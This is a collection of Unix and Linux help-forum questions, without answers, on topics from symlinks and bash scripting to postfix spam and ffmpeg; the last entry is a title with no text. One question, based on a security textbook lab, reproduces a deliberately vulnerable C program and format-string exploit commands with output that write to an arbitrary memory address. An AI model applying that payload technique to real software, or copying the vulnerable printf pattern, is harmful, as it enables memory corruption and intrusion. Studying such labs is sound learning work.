title: How to get full path of original file of a soft symbolic link?

text: I want to `scp` a file to a server. The file is a symbolic link, and actually what I want to do is copying the source file. Anyway I don't want to track source file's path manually, because it can be replaced. If I can get source file's absolute path, I can `sep` with it. How can I get the path?


title: How do I install Red Hat Linux 9.0 Shrike from a USB drive?

text: I have a desktop PC which does not have a CD drive and does not have access to the Internet or other networks. I want to install Red Hat Linux 9.0 "Shrike" on it using a 8GB USB flash drive. I have made a bootable USB drive using LinuxLive USB Creator. When I try to install from it, I see that the installation starts and I see the Red Hat Logo and all that and after that it is asking for the device from which to make the install. Obviously I don't see a USB option in there. I tried to choose HDD and tried to find my UDB drive, but to no avail. I have other options like network install (FTP and HTTP) which I cannot use. So how can I achieve this? I am not installing it in a VM; I am trying to install it on a physical machine. Edit: I just want to install RHL9.0 for a number of reasons, which I cannot explain here. I would be glad if I could just get a solution for this (And I do use Fedora too and I also know about CentOS. But now I want to install shrike


title: See which file using postfix

text: I have a - what I think Malware - problem on my site. Using my server to send spam mail. When running _top_ and _SHIFT+M_ I get the following:                 PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                4282 postfix   20   0 63368  37m 1496 S    2  3.6   0:07.44 qmgr                                                                                3558 mysql     20   0 1024m  26m 7736 S    0  2.6   0:04.28 mysqld                                                                                4156 www-data  20   0  323m  20m 3900 S    0  2.0   0:00.41 apache2                                                                                2846 www-data  20   0  323m  20m 3964 S    0  2.0   0:01.14 apache2                                                                                1578 www-data  20   0  322m  19m 4000 S    0  1.9   0:01.39 apache2                                                                                1896 www-data  20   0  320m  17m 3956 S    0  1.7   0:01.25 apache2                                                                                4160 www-data  20   0  319m  16m 3948 S    0  1.6   0:00.29 apache2                                                                                4599 www-data  20   0  319m  16m 3752 S    0  1.6   0:00.12 apache2                                                                                666 www-data  20   0  319m  16m 3948 S    0  1.6   0:01.26 apache2                                                                                2366 www-data  20   0  317m  13m 3976 S    0  1.4   0:01.19 apache2                                                                                3545 www-data  20   0  316m  13m 3912 S    0  1.4   0:00.34 apache2                                                                                654 root      20   0  309m 8436 6428 S    0  0.8   0:00.06 apache2                                                                                1918 www-data  20   0  320m 7092 3972 S    0  0.7   0:00.74 apache2                                                                                4335 postfix   20   0  115m 2904 2012 S    0  0.3   0:01.15 proxymap                                                                                4386 postfix   20   0 44308 2888 2212 S    0  0.3   0:00.07 smtp                                                                                2751 root      20   0 73316 2876 2752 S    0  0.3   0:00.07 sshd                                                                                4349 postfix   20   0 44296 2872 2200 S    0  0.3   0:00.04 smtp                                                                                4285 postfix   20   0  115m 2852 2008 S    0  0.3   0:00.74 proxymap                                                                                4317 postfix   20   0 44320 2848 2212 S    0  0.3   0:00.05 smtp                                                                                4292 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.07 smtp                                                                                4298 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.07 smtp                                                                                4327 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.08 smtp                                                                                4332 postfix   20   0 44296 2836 2212 S    0  0.3   0:00.05 smtp                                                                                4355 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.04 smtp                                                                                4356 postfix   20   0 44300 2836 2212 S    0  0.3   0:00.09 smtp                                                                                4375 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.09 smtp                                                                                4387 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.06 smtp                                                                                4388 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.05 smtp                                                                                4394 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.08 smtp                                                                                4405 postfix   20   0 44188 2836 2212 S    0  0.3   0:00.08 smtp                                                                                4300 postfix   20   0 44188 2832 2212 S    0  0.3   0:00.05 smtp                                                                                4303 postfix   20   0 44304 2832 2212 S    0  0.3   0:00.08 smtp                                                                                4304 postfix   20   0 44188 2832 2208 S    0  0.3   0:00.05 smtp                                                                                4314 postfix   20   0 44188 2832 2212 S    0  0.3   0:00.06 smtp                                                                                4340 postfix   20   0 44188 2832 2212 S    0  0.3   0:00.02 smtp                                                                                4357 postfix   20   0 44188 2832 2208 S    0  0.3   0:00.04 smtp                                                                                4373 postfix   20   0 44188 2832 2212 S    0  0.3   0:00.08 smtp                                                                                4379 postfix   20   0 44188 2832 2212 S    0  0.3   0:00.04 smtp                                                                                4389 postfix   20   0 44188 2832 2212 S    0  0.3   0:00.02 smtp                                                                                4293 postfix   20   0 44188 2828 2208 S    0  0.3   0:00.07 smtp                                                                                4295 postfix   20   0 44188 2828 2208 S    0  0.3   0:00.09 smtp                                                                                4306 postfix   20   0 44188 2828 2212 S    0  0.3   0:00.04 smtp                                                                                4318 postfix   20   0 44188 2828 2212 S    0  0.3   0:00.02 smtp                                                                                4320 postfix   20   0 44188 2828 2208 S    0  0.3   0:00.06 smtp                                                                                4331 postfix   20   0 44188 2828 2208 S    0  0.3   0:00.07 smtp                                                                                4364 postfix   20   0 44188 2828 2212 S    0  0.3   0:00.05 smtp                                                                                4369 postfix   20   0 44188 2828 2208 S    0  0.3   0:00.05 smtp                                                                                4374 postfix   20   0 44188 2828 2212 S    0  0.3   0:00.04 smtp                                                                                4395 postfix   20   0 44188 2828 2212 S    0  0.3   0:00.06 smtp                                                                                4399 postfix   20   0 44188 2828 2208 S    0  0.3   0:00.06 smtp                                                                                4299 postfix   20   0 44188 2824 2208 S    0  0.3   0:00.07 smtp        How can I find which file is executing postfix?   My system is Debian, Apache2, MySQL


title: Why is scdaemon ballooning out of control?

text: My system keeps getting wedged because an `scdaemon` process has been spawned that has grown to consume all free memory on the computer. (I do not use, and have never used, smart cards in the vicinity of this system, so `scdaemon` shouldn't be running at all.) I could implement something like a cronjob that runs `pkill scdaemon` every five seconds, but I'd rather find and destroy the root issue that's causing this behavior. What files can I check and what tools can I use to track down why this daemon keeps getting started? I've done a pstree and the most I've been able to determine is that they're getting started by `gpg-agent`, which hasn't helped. I haven't found any log that's been able to shed some light on this.


title: How to trace file locks (per directory)

text: I'm quite new to Linux and I have not really a clue on how to do this. I've got a directory and I'd like to monitor (output to shell) when a file inside that directory get's a file lock and when it is released. It would be okay to know as well other things, like when a file is created and similar, but I'm mainly interested about the locks. I don't need to know which process does the lock, it's more about the order in which this happens. I'm pretty sure some tool for this exists (I already installed `dtrace` but after `--help` I decided to ask a question here). Any pointers warm-heartedly appreciated. I'm running a fedora 14 box if that matters.


title: Adding commands to VIM?

text: I keep accidentally entering `W` instead of `w` as the command to save my changes. Is it possible to create a shortcut, alias, or command to write, and give it the hotkey of `W`?


title: How to install software on Red Hat?

text: What's the simplest way to download/install software on Red Hat Linux (from bash command line)?


title: Encrypted SD card corrupted

text: I can't mount a encrypted SD card with Truecrypt anymore. > >     mount: wrong fs type, bad option, bad superblock on > /dev/mapper/truecrypt1, >            missing codepage or helper program, or other error >            In some cases useful info is found in syslog - try >            dmesg | tail  or so >   Usually if this happens to a normal partition, runing `fsck` on it will solve my problems. But what do I do with a encrypted partition?


title: yum groupinstall "Development Tools" fails

text: Running               yum groupinstall "Development Tools"      on my CentOS machine fails. I get errors such as: > http://mirror.bjtu.edu.cn/fedora- > epel/5/i386/repodata/7665d1f4c95b91088577b351525888a460749412-filelists.sqlite.bz2: > [Errno 12] Timeout: <urlopen error timed out> Any workarounds / alternatives?


title: Virtual console pauses video and audio playback running in KDE

text: In Kubuntu 14.04, when I switch to one of the virtual consoles by pressing `CTRL-ALT-F1...F6` all audio and video playback running in the GUI gets interrupted and continues only when going back to X. I have no idea what causes this and if this is the intended behavior or a bug. Does anyone know how I can fix this?


title: SSH client authentication as non root user

text: On my system ssh client authentication was allowed for root, but I wanted ssh client authentication to be allowed only for non root users. To disable ssh as root, I changed the `PermitRootLogin yes` to `PermitRootLogin no`, but now I am not able to ssh to my platform. Can anybody let me know how I can enable ssh client authentication only for non root users?


title: CentOS 5 - hdparm - how to set DMA mode

text: I'm running CentOS 5 with a PATA hard drive. I've used hdparm to tune the hard disk for better performance, but there are 2 settings that don't work: hdparm -M 254 /dev/hda gives the error "HDIO_DRIVE_CMD:ACOUSTIC failed: Input/output error" hdparm -d1 /dev/hda gives the error "HDIO_SET_DMA failed: Operation not permitted" What do I need to check to set these? It's already old hardware so anything I can do to squeeze out more performance would be helpful. Thanks. By request, here is the output of hdparm -iI /dev/hda and cat /proc/ide/hda/settings DMA and acoustic settings do exist but I just can't set them successfully. Here is the output:               [root@hptest ~]# hdparm -iI /dev/hda          /dev/hda:           Model=ST3500320AS, FwRev=SD15, SerialNo=9QM6WHGY      Config={ HardSect NotMFM HdSw>15uSec Fixed DTR>10Mbs RotSpdTol>.5% }      RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=4      BuffType=unknown, BuffSize=0kB, MaxMultSect=16, MultSect=off      CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=268435455      IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120}      PIO modes:  pio0 pio1 pio2 pio3 pio4      AdvancedPM=no WriteCache=enabled      Drive conforms to: unknown:  ATA/ATAPI-4 ATA/ATAPI-5 ATA/ATAPI-6 ATA/ATAPI-7           * signifies the current active mode               ATA device, with non-removable media             Model Number:       ST3500320AS             Serial Number:      9QM6WHGY             Firmware Revision:  SD15     Transport: Serial     Standards:             Supported: 8 7 6 5             Likely used: 8     Configuration:             Logical         max     current             cylinders       16383   65535             heads           16      1             sectors/track   63      63             --             CHS current addressable sectors:    4128705             LBA    user addressable sectors:  268435455             LBA48  user addressable sectors:  976773168             device size with M = 1024*1024:      476940 MBytes             device size with M = 1000*1000:      500107 MBytes (500 GB)     Capabilities:             LBA, IORDY(can be disabled)             Queue depth: 32             Standby timer values: spec'd by Standard, no device specific minimum             R/W multiple sector transfer: Max = 16  Current = 16             Recommended acoustic management value: 254, current value: 0             DMA: mdma0 mdma1 mdma2 udma0 udma1 udma2 udma3 udma4 udma5 *udma6                  Cycle time: min=120ns recommended=120ns             PIO: pio0 pio1 pio2 pio3 pio4                  Cycle time: no flow control=120ns  IORDY flow control=120ns     Commands/features:             Enabled Supported:                *    SMART feature set                     Security Mode feature set                *    Power Management feature set                *    Write cache                *    Look-ahead                *    Host Protected Area feature set                *    WRITE_BUFFER command                *    READ_BUFFER command                *    DOWNLOAD_MICROCODE                     SET_MAX security extension                *    48-bit Address feature set                *    Device Configuration Overlay feature set                *    Mandatory FLUSH_CACHE                *    FLUSH_CACHE_EXT                *    SMART error logging                *    SMART self-test                *    General Purpose Logging feature set                *    64-bit World wide name                *    Write-Read-Verify feature set                *    WRITE_UNCORRECTABLE command                *    {READ,WRITE}_DMA_EXT_GPL commands                *    SATA-I signaling speed (1.5Gb/s)                *    SATA-II signaling speed (3.0Gb/s)                *    Native Command Queueing (NCQ)                *    Phy event counters                *    Software settings preservation     Security:             Master password revision code = 65534                     supported             not     enabled             not     locked             not     frozen             not     expired: security count                     supported: enhanced erase             102min for SECURITY ERASE UNIT. 102min for ENHANCED SECURITY ERASE UNIT.     Checksum: correct     [root@hptest ~]# cat /proc/ide/hda/settings     name                    value           min             max             mode     ----                    -----           ---             ---             ----     acoustic                0               0               254             rw     address                 1               0               2               rw     bios_cyl                60801           0               65535           rw     bios_head               255             0               255             rw     bios_sect               63              0               63              rw     bswap                   0               0               1               r     current_speed           0               0               70              rw     failures                0               0               65535           rw     init_speed              0               0               70              rw     io_32bit                0               0               3               rw     keepsettings            0               0               1               rw     lun                     0               0               7               rw     max_failures            1               0               65535           rw     multcount               0               0               16              rw     nice1                   1               0               1               rw     nowerr                  0               0               1               rw     number                  0               0               3               rw     pio_mode                write-only      0               255             w     unmaskirq               0               0               1               rw     using_dma               0               0               1               rw     wcache                  1               0               1               rw     [root@hptest ~]#


title: "no public key available" on apt-get update

text: When performing `apt-get update`, I get the following error:               root@ADS3-Debian6:/home/aluno# apt-get update     Atingido http://sft.if.usp.br squeeze Release.gpg     Ign http://sft.if.usp.br/debian/ squeeze/contrib Translation-en     Ign http://sft.if.usp.br/debian/ squeeze/contrib Translation-pt     Ign http://sft.if.usp.br/debian/ squeeze/contrib Translation-pt_BR      (...)               Obter:10 http://security.debian.org squeeze/updates/non-free i386 Packages [14 B]     Baixados 612 kB em 4s (125 kB/s)                         Lendo listas de pacotes... Pronto     There is no public key available for the following key IDs: 8B48AD6246925553


title: Debian Networking Issues

text: I recently installed Debian Wheezy (gnome) on my ThinkPad T60. It was going well, until about 2 days ago when suddenly my machine stopped connecting to the web. I can connect to my router, I can ping my router and get a response, but if I ping, say, google or something, then it automatically responds:               ping: unknown host google.com      I have no idea what's wrong with it, so here's a summary of what I've done network-wise recently:   * Installed Tor   * Removed Tor   * Installed OpenVPN and OpenConnect, as well as PPTP (for network manager)   * Added a VPN to my networks list (which is disabled by default) Hopefully some of this information will be useful for solving the problem. I'd be happy to carry out any instructions you need for gathering information on the problem.


title: Writing starting from a certain line number in a text file

text: In a bash script I want to write some lines to a text file, but this file has already been used before and there are texts in it. So I want to echo some additional text in it, starting from a certain line number in the file. I want something like this:               echo -fromLineNumber 33 -e "anything" >> textPath


title: How do I change the icon size and padding in the Gnome 3 upper panel on Linux Mint 12?

text: I'm trying to personalize the desktop interface in Linux Mint 12 running Gnome 3. I just disabled the bottom panel and I changed the font in the upper panel. How do I change the upper panel's icon size and padding? Modifying the `PANEL_ICON_SIZE` setting in `/usr/share/gnome- shell/js/ui/panel.js` causes the system to freeze and the upper panel disappears.


title: Why is there a type for process ids (pid_t), but not for file descriptors (fd)?

text: I see that `pid_t` is typedef'd in `unistd.h`, and file descriptors are defined to be `int` in `fcntl.h`. But since they are used in similar ways, wouldn't it make sense to have a `typedef` for file descriptors?


title: How to handle custom debian packages version numbers?

text: Let's take `mplayer` for example. I want to compile a new version and create a `deb` package to roll out to my developers. The version number is `2:1.0~rc3+svn20090426-1ubuntu16.1`. I'm not making any changes to the code, just adding a few flags and different location to install. When it comes to versioning, should I increment the `epoch` number by 1? Or keep it at 2 and also modify the versioning number after the epoch to reflect the svn date I compiled against?


title: Confirm before exit the command-prompt

text: I am trying to have a confirmation message every time I type `exit` command in the command-prompt. To do this, I have tried to use `trap` in `.bashrc` file but it seem like trap is not a solution as it run the original command anyway. Is there a way I can have this? Here is my bashrc script code which could not get the job done:               function _exit()        # Function to run upon exit of shell.     {         read -p "${RED}Are you sure? " REPLY         if [[ $REPLY =~ ^[Yy]$ ]]; then             echo -e "${RED}Bye${NC}"             exit 0         else             #I do not know what to do here to not exit             return         fi       }     trap _exit EXIT


title: PXE boot chaining to hardcoded TFTP server?

text: My existing network environment provides the following:   * DHCP server that sends PXE clients to a particular TFTP server   * TFTP server with SYSLINUX "pxelinux.0" file for booting The SYSLINUX installation defaults on timeout to "boot from local disk", which allows existing clients to reboot correctly but also provides for the option of booting into a rescue or provisioning environment. I am testing a new provisioning environment which resides on a different TFTP server than the one pointed to by the DHCP server. Existing clients depend upon the current environment, but I'd like to refer test clients to the new TFTP server for provisioning. Ideally I'd like to be able to use a particular menu option from the SYSLINUX prompt that would cause the client to boot from another (hardcoded, rather than DHCP-server-provided) TFTP server. I tried installing a custom gPXE image as a menu option on SYSLINUX. The custom image (re-)acquired a DHCP address and went to the hardcoded TFTP server, but it's missing a piece that I don't think gPXE is capable of fulfilling. The new provisioning system is based upon Cobbler, and it depends upon the usual PXE sequence where the client looks for a file named with its MAC address before settling for a less-specific, and eventually generic, file. From what I can tell, it appears that gPXE isn't capable of doing this mac- address-based boot sequence. Can anyone tell me of another way to do this? I've been banging my head for several days on this problem. Thanks in advance!


title: Why won't the for loop execute on directory

text: In the following script, the first **for** loop executes as expected, but not the second. I do not get any error, it seems that the script just hangs.               HOME=/root/mydir          DIR=$HOME/var     DIRWORK=$HOME/Local          for f in $(find $DIR -type f); do              lsof -n $f | grep [a-z] > /dev/null              if [ $? != 0 ]; then         echo "hi"                fi     done               for i in $(find $DIRWORK -type d -name work); do         echo "2"     done


title: What does this curl command do?

text: I'm really new to Unix and I can't figure out what this command does. From what I understand, it sends an HTTP POST request to a website. I don't know exactly what each line is supposed to do. Can someone kindly explain to me the function of each line? Here's the command:               curl http://www.example.com/xmlrpc.php -d          '         pingback.ping         http://destination.site.com/              http://www.example.com/         '


title: CentOS 6.5 nmblookup not found

text: After installing Samba (yum install samba) on a fresh CentOS 6.5 install, I cannot run nmblookup ("command not found"). I also tried searching the file system and could not find it anywhere.


title: How does a process handle the situation when it finds no memory to use?

text: What happens when a particular process finds that there is no memory to use? Will that process kill/restart another process to proceed their task ? Or what the process (that requires more memory) will do in this situation? If possible can any provide a good link regarding this ?


title: How can I get a full process list in solaris, without truncated lines?

text: Is there a way to generate a full process listing in solaris, without truncated lines? I've tried the `ps` command, with the following arguments:                 -f                  Generates a full listing. (See below for                           significance  of columns in a full list-                           ing.)                      -l                  Generates a long listing. (See below.)      So, those both seem to do what I want, however, further down in the ps man page, I find this:                      args                    The command with all its arguments as  a                              string.  The implementation may truncate                              this value to the  field  width;  it  is                              implementation-dependent   whether   any                              further   truncation   occurs.   It   is                              unspecified     whether    the    string                              represented is a version of the argument                              list  as  it  was  passed to the command                              when it started, or is a version of  the                              arguments as they may have been modified                              by the application. Applications  cannot                              depend  on  being  able  to modify their                              argument list and having that  modifica-                              tion  be  reflected in the output of ps.                              The Solaris  implementation  limits  the                              string  to  80  bytes; the string is the                              version of the argument list as  it  was                              passed to the command when it started.      Which basically says the output is going to be truncated and there is nothing I can do about it. So, I'm coming here. Surely other people have run into this problem and maybe even have a way around it. I'm guessing ps can't do it and so I need to use other tools to do this. Is that accurate?


title: Just patched Heartbleed Bug on server with Perfect Forward Secrecy. Do I need to change my Master Key?

text: This question is mainly about helping me understand the implications of the Heartbleed Bug on my server, which had PFS (Perfect Forward Secrecy) both before and after patching. It's probably not relevant, but I compiled Apache2.4 from source. The only standard Debian packages I used were the `-dev` packages. In fact, the entire reason I decided to compile myself instead of using Wheezys' Apache2.2 was because of PFS. I'm wondering if I need to change my Master Key, or if I'm good to go? From wikipedia.org: > An attack against a server may also reveal the server's private master key, > which would enable attackers to decrypt communications (future or past > stored traffic captured via passive eavesdropping, unless perfect forward > secrecy is used, in which case only future traffic can be decrypted if > intercepted via man-in-the-middle attacks). I believe the above quote is telling me I don't need to change my Master Key. From heartbleed.com: > Use of Perfect Forward Secrecy (PFS), which is unfortunately rare but > powerful, should protect past communications from retrospective decryption. Again, since I'm now all patched, my thought is that there is no need for me to change my Master Key. Am I right?


title: Count number of lines in files then compare which has more (BASH)

text: I need to count the number of lines in x files and compare which has more. The one I've done only takes two files and compares them. Any idea how to make it x amount of files?               echo Enter the filename read fn          echo Enter another file read fn1          for WORD in $(cat $fn) do             echo "$WORD" done | wc -l          for WORD in $(cat $fn1) do             echo "$WORD" done | wc -l          if (cat $fn | wc -l > cat $fn1 | wc -l) then             echo First file has more lines than second file else if (cat $fn1 | wc -l > cat $fn | wc -l) then             echo Second file has more lines than first file.          fi


title: Upload libreoffice impress presentation to youtube?

text: I am interested in creating a presentation in Libreoffice Impress, exporting in X format, and uploading it to Youtube with little hassle.   * How do I do this?   * What should X be?   * Have you done this successfully before? Information: Youtube does not accept `.swf` files, which is an export possibility in LibreOffice Impress. So, the format has to be something else. Do we have to convert the Libreoffice file to something else that is acceptable to Youtube?


title: history list in bash always truncated to 5000 lines at new login

text: Similar to the 5000 line limitation problem when first thing in **.bashrc** I have `export HISTSIZE=10001` and `export HISTFILESIZE=$HISTSIZE` My users do not have `~/.inputrc` files and the system-wide `/etc/inputrc` file, unchanged default for Ubuntu 11.10, does not have any `history-size` defined. Nor does the `readline` man page show any default for it, except implying **(0)** or unlimited. Yet every time I login my prompt shows that I have only 5000, despite having added many more unique command lines during my last session, or saving with `history -w` without having logged off. Where is this limitation set and how can I override it? My prompt and other possibly interesting settings from **~/.bashrc** or files it sources:               PS1='\u@\h\w \d,\t\$ (\!) '     HISTCONTROL=erasedups:ignorespace     HISTSIZE=10001     export HISTIGNORE="[   ]*:&:bg:fg:exit"     export HISTFILESIZE=$HISTSIZE     export PROMPT_COMMAND="history -a"       shopt -s histappend     HISTTIMEFORMAT="%Y-%m-%d_%H-%M-%S "      shopt -s histreedit      Example prompt:               master@quant~/dev Mon Feb 27,10:08:29$ (5721)      To answer some comments:               # to unpollute from other concurrent sessions, which previously already truncated file to 5000 at login:     master@ventana~ Mon Feb 27,18:47:35$ (9220) history -w            master@ventana~ Mon Feb 27,18:51:34$ (9220) history |wc        9219   69109  795143     master@ventana~ Mon Feb 27,18:51:51$ (9220) wc -l ~/.bash_history     18442 /home/master/.bash_history          # ignoring timestamps, nominally every other line like #1328201645     master@ventana~ Mon Feb 27,18:51:58$ (9220) grep -vc "^#[0-9]\{10\}$" .bash_history     9222


title: xautolock: how to auto-unlock on user activity?

text: I need to run a script after a period of user inactivity. For that I use the wonderful program `xautolock`. Now, I also need to **run another script when the activity is resumed** (e.g. mouse is moved or a key is pressed). How do I do that? Any sort of an anti-xautolock? An xautoUNlock? Or, perhaps, any other _easy_ way to catch the moment when the "idleness" stops?


title: Check via Shell-script if server currently streams via dlna

text: Currently I'm running **uShare** to stream videos from my home-server via DLNA to the TV. On the server there is also running a bash-script which checks if a user is connected via ssh or Samba. If this is not the case, then the server goes to _hibernation-mode_. Is there any possibility to check via bash-script if the server currently streams a video to my TV? If so, I would like to see a little code example which I could include in my script which check the ssh or Samba connection.


title: Writing to Arbitrary Memory Addresses

text: I'm reading "Art of Exploitation 2nd Ed." and I have a question regarding a section on format string attacks. ### Target program Below code (`fmt_vuln.c`) is a target program.               #include <stdio.h>     #include <stdlib.h>     #include <string.h>     int main(int argc, char *argv[]) {     char text[1024];     static int test_val = -72;     if(argc < 2) {     printf("Usage: %s <text to print>\n", argv[0]);     exit(0);     }     strcpy(text, argv[1]);     printf("The right way to print user-controlled input:\n");     printf("%s", text);     printf("\nThe wrong way to print user-controlled input:\n");     printf(text);     printf("\n");     // Debug output     printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val,     test_val);     exit(0);     }      In this program, I'm trying to write a value "0xddccbbaa" to the address of `test_val`. ### Attack method according to book The book says that:               reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\     x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n     The right way to print user-controlled input:     ??JUNK??JUNK??JUNK??%x%x%8x%n     The wrong way to print user-controlled input:     ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0     [*] test_val @ 0x08049794 = 52 0x00000034      Now launch gdb:               reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"     $1 = 126          reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\     x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n     The right way to print user-controlled input:     ??JUNK??JUNK??JUNK??%x%x%126x%n     The wrong way to print user-controlled input:     ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc     0     [*] test_val @ 0x08049794 = 170 0x000000aa     reader@hacking:~/booksrc $      Launch `gdb` a 2nd time:               reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbb - 0xaa"     $1 = 17          reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\     x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n     The right way to print user-controlled input:     ??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n     The wrong way to print user-controlled input:     ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc     0 4b4e554a     [*] test_val @ 0x08049794 = 48042 0x0000bbaa     reader@hacking:~/booksrc $      I don't understand why I need "JUNK"? **NOTE:** you can read this chapter this link, page : 173


title: Can't access /transmission

text: I have installed Transmission service on Centos. It is running. The problem is when I type `myservername/transmission` in my browser address it doesn't open. It was working before.


title: How to avoid 4 core limit for Ubuntu within VMWare?

text: I have Ubuntu installed as VM on my laptop. My laptop has quad core with HT technology making it 8 cores. Within Ubuntu VM I can only use max of 4 cores. What should I do so I can access all 8? Which Linux distribution would let me use all my cores? Which VM software should I use? Any advices?


title: How to stop update-grub from scanning all drives?

text: Every time `update-grub` is run all hard drives are scanned. Each drives that is in standby state will spin up to go idle. This is a waste of energy. We use update-grub version 1.98:               # update-grub -v     grub-mkconfig (GRUB) 1.98+20100804-14+squeeze1      _Regression_   1. There is a `GRUB_DISABLE_OS_PROBER=true` option in the `/etc/default/grub` file. But that seems to only work from version 2 and up. At least it doesn't stop scanning all drives in our version 1.98.   2. There is a `/etc/grub.d/20_linux_xen` script that might be run as a part of update-grub. After removing execute rights for all users with `chmod a-x /etc/grub.d/20_linux_xen` all drives do still spin up. How to stop `update-grub` from scanning each and every hard drive?


title: No way to record a live stream to WebM using ffmpeg?

text: I'm streaming from an mp4 source and so far I've managed to save clips as ogg (video: libtheora, audio: flac), but I'd like to save them in the WebM format. Unfortunately, WebM demands libvorbis for audio and when I try to do that:               $ ffmpeg -t 60 -rtsp_transport udp -i rtsp://192.168.1.142/video.mp4 -vcodec libvpx -acodec libvorbis -f webm test.webm     ffmpeg version 0.10.5 Copyright (c) 2000-2012 the FFmpeg developers       built on Oct  4 2012 19:17:43 with gcc 4.7.2 20120921 (Red Hat 4.7.2-2)       configuration: --prefix=/usr --bindir=/usr/bin --datadir=/usr/share/ffmpeg --incdir=/usr/include/ffmpeg --libdir=/usr/lib64 --mandir=/usr/share/man --arch=x86_64 --extra-cflags='-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mtune=generic' --enable-bzlib --disable-crystalhd --enable-gnutls --enable-libass --enable-libcdio --enable-libcelt --enable-libdc1394 --disable-indev=jack --enable-libfreetype --enable-libgsm --enable-libmp3lame --enable-openal --enable-libopenjpeg --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libvorbis --enable-libv4l2 --enable-libvpx --enable-libx264 --enable-libxvid --enable-x11grab --enable-avfilter --enable-postproc --enable-pthreads --disable-static --enable-shared --enable-gpl --disable-debug --disable-stripping --shlibdir=/usr/lib64 --enable-runtime-cpudetect       libavutil      51. 35.100 / 51. 35.100       libavcodec     53. 61.100 / 53. 61.100       libavformat    53. 32.100 / 53. 32.100       libavdevice    53.  4.100 / 53.  4.100       libavfilter     2. 61.100 /  2. 61.100       libswscale      2.  1.100 /  2.  1.100       libswresample   0.  6.100 /  0.  6.100       libpostproc    52.  0.100 / 52.  0.100     [rtsp @ 0xc62ec0] Estimating duration from bitrate, this may be inaccurate     Input #0, rtsp, from 'rtsp://192.168.1.142/video.mp4':       Metadata:         title           : QStream         comment         : QStreaming Media       Duration: N/A, start: 0.000000, bitrate: N/A         Stream #0:0: Video: mpeg4 (Simple Profile), yuv420p, 640x480 [SAR 1:1 DAR 4:3], 30 fps, 30 tbr, 90k tbn, 30 tbc         Stream #0:1: Audio: pcm_mulaw, 8000 Hz, 1 channels, s16, 64 kb/s     File 'test.webm' already exists. Overwrite ? [y/N] y     w:640 h:480 pixfmt:yuv420p tb:1/1000000 sar:1/1 sws_param:     [libvpx @ 0xc60b60] v1.0.0     [libvorbis @ 0xc61da0] Unable to set CBR to 128000: not supported     [libvorbis @ 0xc61da0] oggvorbis_encode_init failed     Output #0, webm, to 'test.webm':       Metadata:         title           : QStream         comment         : QStreaming Media         Stream #0:0: Video: vp8, yuv420p, 640x480 [SAR 1:1 DAR 4:3], q=-1--1, 200 kb/s, 90k tbn, 30 tbc         Stream #0:1: Audio: vorbis, 8000 Hz, 1 channels, s16, 128 kb/s     Stream mapping:       Stream #0:0 -> #0:0 (mpeg4 -> libvpx)       Stream #0:1 -> #0:1 (pcm_mulaw -> libvorbis)     Error while opening encoder for output stream #0:1 - maybe incorrect parameters such as bit_rate, rate, width or height      The only way I found to encode audio in a WebM file using `ffmpeg` is here, but that requires two passes, so I can't do it with a live stream. Any clues?


title: What's the Terminal command to update Chromium Flash plugin via Mozilla's Flash plugin?

text: I've done this on linux mint 11 and not to long ago, I was browsing around the web to figure it out; now I'm upgraded to linux mint 13 and it's fresh I need some support on Chromium and its Flash plugin.


title: Installing wine from source without root access

text: I'm trying to install `wine` on my computer without root access. I know to change the prefix using `automake --prefix=$HOME/Self_Programs` but then I get this error message:               [tomas@wizard wine-1.1.27]$ automake --prefix=$HOME/Self_Programs`     automake: unrecognized option '--prefix=/home/tomas/Self_Programs'.`     automake: Try '/usr/bin/automake --help' for more information.`      (This was tried before and after using the `configure` command in the source code) I'm really stuck here: can someone help as to what I'm doing wrong?


title: Is strace a suitable tool for finding out where a program wrote to the filesystem?

text: I'd like to determine where a certain app (as an example, surf) writes to the filesystem in order to make sure it leaves no traces. Without a dedicated sandboxing system this probably isn't easy, but I'm wondering if there is a better way than simply using `strace`. For example here is a simple script called `run`:               #!/bin/bash          mkdir history     echo foo bar > history/hist.db     echo hello > test      I run `strace` like this:               strace ./run 2>&1 | sed -n '/^open.*WRONLY/p' | sed 's/.*"\(.*\)"[^"]*$/\1/'      to see all the files (but not directories) that were written (I don't think this will capture files that were created, but not written to, like those created by `touch`). Output:               history/hist.db     test      Is there a better way to do this, since this gets unwieldy for anything besides trivial applications, or are there options I can pass to `strace` (or better regexes maybe?) that make this a bit more robust? Do I run the risk of missing files that are written to the filesystem?


title: How do I install htop inside mac os x

text: How do I install htop for Mac OS X? (The easiest and laziest path)


title: Replace a pattern which ends at newline with the same pattern without the newline

